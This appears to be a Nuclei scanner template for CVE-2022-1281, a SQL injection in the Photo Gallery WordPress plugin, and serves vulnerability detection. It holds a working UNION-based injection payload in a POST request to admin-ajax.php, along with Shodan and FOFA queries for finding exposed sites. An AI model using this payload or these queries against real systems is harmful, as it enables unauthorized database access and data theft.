Photo Gallery WordPress v1.6.3 - SQL Injection

id: CVE-2022-1281

info:
  name: Photo Gallery WordPress v1.6.3 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    Photo Gallery WordPress plugin v1.6.3 contains a SQL injection caused by improper escaping of $_POST['filter_tag'] parameter in SQL queries, letting attackers execute arbitrary SQL commands, exploit requires sending crafted POST requests.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://wpscan.com/vulnerability/2b4866f2-f511-41c6-8135-cf1e0263d8de
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfar=&new=2691560&old=2682756&sfp_email=&sfar=
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1281
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1281
    epss-score: 0.23194
    epss-percentile: 0.97588
    cwe-id: CWE-89
  metadata:
    verified: false
    max-request: 2
    shodan-query: 'http.html:"photo-gallery"'
    fofa-query: 'body="/wp-content/plugins/photo-gallery/"'
  tags: cve,cve2022,sqli,wordpress,wp-plugin,photo-gallery,vkev

variables:
  num: 999999999

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?image_id=123 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=GalleryBox&filter_tag=1)"+union+select+*+from+(select+123)a1+join+(select+2)a2+join+(select+3)a3+join+(select+2)a4+join+(select+2)a5++join+(select+2)a6+join+(select+md5({{num}}))a7+join+(select+2)a8+join+(select+2)a9+join+(select+2)a10+join+(select+2)a11+join+(select+2)a12+join+(select+2)a13+join+(select+2)a14+join+(select+2)a15+join+(select+2)a16+join+(select+2)a17+join+(select+2)a18+join+(select+version())a19+join+(select+2)a20+join+(select+2)a21+join+(select+2)a22+join+(select+2)a23--+-

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "{{md5(num)}}"
# digest: 4b0a00483046022100e3eae2da7e092b4eee2e234eb587cd6b77267e69998b183027ec2260220bd7d3022100e57c493a8c93d0b4810ff8066bad40e59fa3f259c2158b93baca5cd48258edbc:922c64590222798bb761d5b6d8e72950